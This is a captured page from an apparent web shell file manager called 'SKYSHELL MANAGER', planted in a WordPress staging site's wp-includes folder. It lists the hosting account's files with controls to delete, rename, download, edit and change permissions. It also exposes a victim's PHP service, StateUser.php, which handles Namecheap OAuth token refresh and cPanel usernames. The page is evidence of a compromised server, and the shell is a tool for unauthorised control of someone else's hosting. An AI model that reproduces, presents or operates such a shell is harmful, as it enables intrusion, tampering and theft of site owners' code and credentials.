📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: StateUser.php
<?php namespace App\Service\State; use App\Entity\Certificate; use App\Entity\User; use App\Service\CpanelApi\Adapter\CliAdapter; use Doctrine\ORM\EntityManagerInterface; use Exception; use KnpU\OAuth2ClientBundle\Client\ClientRegistry; use League\OAuth2\Client\Token\AccessToken; use Symfony\Bundle\SecurityBundle\Security; use Symfony\Component\Security\Core\User\UserInterface; class StateUser { private ?UserInterface $user; public function __construct( private readonly EntityManagerInterface $entityManager, private readonly Security $security, private readonly ClientRegistry $clientRegistry, private readonly CliAdapter $adapter, ) { $this->user = $this->security->getUser(); } public function getAccessToken(): ?AccessToken { $user = $this->getUser(); $accessToken = $user->getAccessToken(); if (!$accessToken) { return null; } if ($accessToken->hasExpired()) { $accessToken = $this->clientRegistry->getClient('namecheap')->refreshAccessToken($accessToken->getRefreshToken(), ['access_token' => $accessToken->getToken()]); $user->setAccessToken($accessToken); $this->entityManager->flush(); } return $user->getAccessToken(); } /** * @return UserInterface */ public function getUser(): UserInterface { return $this->user ?? $this->setUserByName($_SERVER['USER']); } /** * @param User|null $user */ public function setUser(?User $user): void { if ($user) { $this->adapter->setUsername($user->getName()); } $this->user = $user; } /** * @param string $name * * @return UserInterface */ public function setUserByName(string $name): UserInterface { $user = $this->entityManager->getRepository(User::class)->findOneBy(['name' => $name]); if (!$user) { $user = new User(); $user->setName($name); $this->entityManager->persist($user); $this->entityManager->flush(); } $this->setUser($user); return $this->getUser(); } /** * @throws Exception */ public function setUserByCertificateId(int $certificateId): UserInterface { $certificate = $this->entityManager->getRepository(Certificate::class)->find($certificateId); if (!$certificate) { throw new \RuntimeException(sprintf('Can\'t find user by certificateId: %s, certificate not found', $certificateId)); } $user = $certificate->getUser(); $this->setUser($user); return $this->getUser(); } }
Save